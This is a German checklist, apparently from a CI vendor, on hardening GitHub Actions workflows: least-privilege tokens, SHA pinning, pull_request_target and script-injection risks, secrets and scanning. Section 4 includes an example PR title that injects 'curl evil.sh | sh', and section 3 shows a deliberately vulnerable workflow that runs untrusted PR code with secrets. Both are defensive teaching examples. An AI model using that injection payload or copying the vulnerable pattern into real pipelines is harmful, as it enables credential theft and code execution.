GitHub Actions absichern: Eine Checkliste zur Härtung
Zuletzt aktualisiert am
Ein CI-Workflow führt Code mit Zugriff auf Ihre Secrets und oft auch auf Ihre Cloud aus. Angreifer wissen das: Kompromittierte Actions von Drittanbietern und eingeschleuste Pull-Request-Titel wurden beide schon genutzt, um Zugangsdaten zu stehlen. Die Gegenmaßnahmen sind meist kleine YAML-Änderungen. Diese Checkliste ist nach dem Risiko sortiert, das jeder Punkt beseitigt.
1. Dem Token nur die nötigen Rechte geben
Jeder Workflow-Lauf erhält ein GITHUB_TOKEN. Stellen Sie den Standard auf schreibgeschützt und vergeben Sie zusätzliche Berechtigungen pro Job. Legen Sie in den Repository- oder Organisationseinstellungen die Workflow-Berechtigungen auf „Read repository contents and packages permissions“ fest und deklarieren Sie in der YAML, was Sie benötigen:
permissions:
contents: read
jobs:
release:
runs-on: ubuntu-latest
permissions:
contents: write # create the release
id-token: write # OIDC, see below
steps: [...]
Sobald Sie permissions in einem Workflow setzen, wird jede nicht aufgeführte Berechtigung auf none gesetzt. Ein globales contents: read mit jobspezifischen Ausnahmen ist ein bewährtes Muster. Der Workflow-YAML-Checker markiert Workflows ohne permissions-Block.
2. Drittanbieter-Actions auf einen vollständigen Commit-SHA festpinnen
Tags und Branches können verschoben werden. Im März 2025 wurde die beliebte Action tj-actions/changed-files kompromittiert, und ihre Tags wurden auf einen bösartigen Commit umgebogen, der Secrets in die Logs ausgab (erfasst als CVE-2025-30066). Workflows, die auf ein Tag verwiesen, führten den Code des Angreifers aus; Workflows mit Pinning auf einen vollständigen Commit-SHA waren nicht betroffen.
# Before
- uses: some-org/some-action@v3
# After: full 40-character SHA, version in a comment
- uses: some-org/some-action@8e5e7e5ab8b370d6c329ec480221332ada57f0ab # v3.5.2
Nur ein vollständiger SHA ist unveränderlich. Pinnen Sie jede Action, die nicht von GitHub selbst veröffentlicht wird, und erwägen Sie das auch für GitHubs eigene Actions. Halten Sie die Pins mit Dependabot aktuell, das SHA-gepinnte Actions aktualisiert und den Versionskommentar synchron hält (siehe Dependabot-Einrichtung). GitHub bietet außerdem eine Richtlinie, mit der Actions auf einen vollständigen SHA gepinnt werden müssen; sie findet sich in den Actions-Einstellungen des Repositorys oder der Organisation. Prüfen Sie, welche Optionen Ihr Tarif bietet.
Wiederverwendbare Workflows sind ebenfalls Code und sollten genauso gepinnt werden (uses: org/repo/.github/workflows/x.yml@<sha>).
3. Vorsicht bei pull_request_target
Durch Forks ausgelöste pull_request-Workflows laufen mit schreibgeschütztem Token und ohne Secrets. pull_request_target läuft im Kontext des Basis-Branches und erhält Secrets sowie ein Schreib-Token. Das ist nützlich, etwa um PRs zu labeln, und gefährlich, wenn man den Code des PRs auscheckt und ausführt:
# DANGEROUS: runs untrusted code with secrets
on: pull_request_target
jobs:
test:
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}
- run: npm ci && npm test # attacker controls package.json scripts
Rules:
- Checken Sie in einem
pull_request_target-Workflow keinen Code aus dem PR-Head aus und führen Sie ihn nicht aus. - Wenn Sie beides brauchen, teilen Sie in zwei Workflows auf: einen unprivilegierten
pull_request-Workflow, der baut und testet und die Ergebnisse als Artefakte hochlädt, und einen privilegiertenworkflow_run-Workflow, der diese Artefakte liest und kommentiert. Behandeln Sie die Artefakte als nicht vertrauenswürdige Daten. - Dasselbe gilt für
issue_commentundworkflow_run, die ebenfalls mit erhöhten Rechten laufen.
4. Script-Injection verhindern
Ausdrücke werden expandiert, bevor das Skript läuft. Wenn Sie vom Angreifer kontrollierten Text in einen run:-Schritt einsetzen, schreibt der Angreifer Shell-Befehle:
# Vulnerable: a PR titled "; curl evil.sh | sh # runs the payload
- run: echo "Title: ${{ github.event.pull_request.title }}"
Übergeben Sie nicht vertrauenswürdige Werte über Umgebungsvariablen, die nicht als Shell-Code expandiert werden:
- run: echo "Title: $PR_TITLE"
env:
PR_TITLE: ${{ github.event.pull_request.title }}
Nicht vertrauenswürdige Eingaben sind unter anderem PR-Titel und -Beschreibungen, Branch-Namen, Commit-Nachrichten, Issue-Texte und github.head_ref. Bei actions/github-script lesen Sie Werte in JavaScript aus context.payload, statt Ausdrücke in den Skript-String einzubetten.
5. Secrets bewusst behandeln
- Bevorzugen Sie kurzlebige Zugangsdaten: OIDC für AWS ersetzt gespeicherte Zugriffsschlüssel.
- Beschränken Sie Secrets auf Environments (
environment: production) mit erforderlichen Prüfern, sodass ein Job für den Zugriff auf Produktions-Secrets eine Freigabe braucht. - GitHub maskiert hinterlegte Secrets in Logs, aber nur exakte Werte; abgeleitete oder umgewandelte Werte, etwa in Base64, werden nicht maskiert. Geben Sie sie nicht aus.
- Übergeben Sie Secrets nie in Kommandozeilen, die in Logs oder Prozesslisten auftauchen, wenn eine Datei oder Umgebungsvariable genügt.
- Bei Verdacht rotieren. Wird eine Drittanbieter-Action kompromittiert, rotieren Sie jedes Secret, das dieser Workflow lesen konnte.
6. Begrenzen, wer was ausführen kann
- Verlangen Sie in den Actions-Einstellungen eine Freigabe für Workflows von Erstbeitragenden und von allen externen Mitarbeitenden.
- Beschränken Sie erlaubte Actions auf von GitHub erstellte, verifizierte Anbieter oder auf eine explizite Allow-Liste.
- Schützen Sie
.github/workflows/mit CODEOWNERS, damit Änderungen an Workflows von einem vertrauenswürdigen Team geprüft werden. - Nutzen Sie Rulesets oder Branch-Schutzregeln, damit nur geschützte Branches deployen können.
7. Hygiene bei Self-Hosted-Runnern
Verwenden Sie ephemere Runner, setzen Sie sie niemals für öffentliche Repositories ein und beschränken Sie Runner-Gruppen auf bestimmte Repositories. Siehe Self-Hosted- vs. GitHub-Hosted-Runner.
8. Workflows scannen
Statische Werkzeuge erkennen viele dieser Probleme automatisch: zizmor, actionlint und die Actions-Abfragen von CodeQL. Fügen Sie eines davon zur CI hinzu, damit neue Workflows bei jedem PR geprüft werden:
- uses: docker://rhysd/actionlint:latest
with:
args: -color
Pinnen Sie auch dieses Image auf einen Digest. Für eine schnelle manuelle Prüfung fügen Sie einen Workflow in den YAML-Checker ein.
Kurze Checkliste
- Standard-Token-Berechtigungen auf schreibgeschützt gesetzt; explizite
permissionsin jedem Workflow. - Drittanbieter-Actions auf vollständige SHAs gepinnt; Dependabot aktualisiert sie.
- Kein Checkout des PR-Heads in Workflows mit
pull_request_targetoderworkflow_run. - Kein
${{ }}mit nicht vertrauenswürdiger Eingabe inrun:-Skripten. - OIDC statt gespeicherter Cloud-Schlüssel; Secrets auf Environments beschränkt, mit Freigaben.
- CODEOWNERS für
.github/. - Ein Workflow-Linter in der CI.
FAQ
Ist @v4 für GitHubs eigene Actions sicher?
Tags auf actions/* werden von GitHub verwaltet und sind weit verbreitet. Das Pinning auf einen SHA ist strikter; ob Sie es für Actions aus eigener Herkunft einsetzen, hängt von Ihrer Risikobereitschaft ab.
Erreichen Secrets Workflows aus Forks?
Bei pull_request nicht: Forks erhalten ein Token mit Lesezugriff und keine Secrets. Bei pull_request_target schon, weshalb dieses Event die oben beschriebene Sorgfalt erfordert.
Kann Dependabot die SHA-Pins aktuell halten?
Ja. Fügen Sie das Ecosystem github-actions zu dependabot.yml hinzu.
Was sollte ich zuerst tun?
Stellen Sie die Standardberechtigungen auf Lesezugriff und ergänzen Sie permissions:-Blöcke. Das dauert nur wenige Minuten und beseitigt die größte Quelle überflüssiger Zugriffsrechte.
Wo compiler.dev passt
compiler.dev führt Ihre bestehenden Workflows auf den eigenen Runnern aus, daher gelten dieselben Härtungsmaßnahmen: gepinnte Actions, minimal bemessene Token-Scopes und OIDC. Prüfen Sie Ihre Workflows vor jeder Umstellung mit dem kostenlosen YAML-Checker.
Verwandt
- TypeScript-Monorepo in GitHub Actions beschleunigenTypprüfung und Linting in TypeScript-Monorepos auf GitHub Actions beschleunigen: inkrementelles tsc, Projektreferenzen, Lint-Caches und parallele Jobs.
- Playwright im Monorepo mit GitHub Actions beschleunigenPlaywright-E2E-Tests in einem Node-Monorepo auf GitHub Actions beschleunigen: App einmal bauen, E2E überspringen, wenn sich die Web-App nicht ändert.
- CI-Geschwindigkeits-Badge in Ihre README einfügenZeigen Sie die Geschwindigkeit Ihrer CI mit einem README-Badge: die mediane Laufzeit Ihrer Repository-Workflows auf GitHub Actions, automatisch aktualisiert.
- Die besten Runner-Anbieter für GitHub Actions 2026Die besten GitHub-Actions-Runner-Anbieter nach Anwendungsfall: Preis, macOS, Docker-Builds, ARM, AWS, Flatrate. Preise Stand 22.10.2026.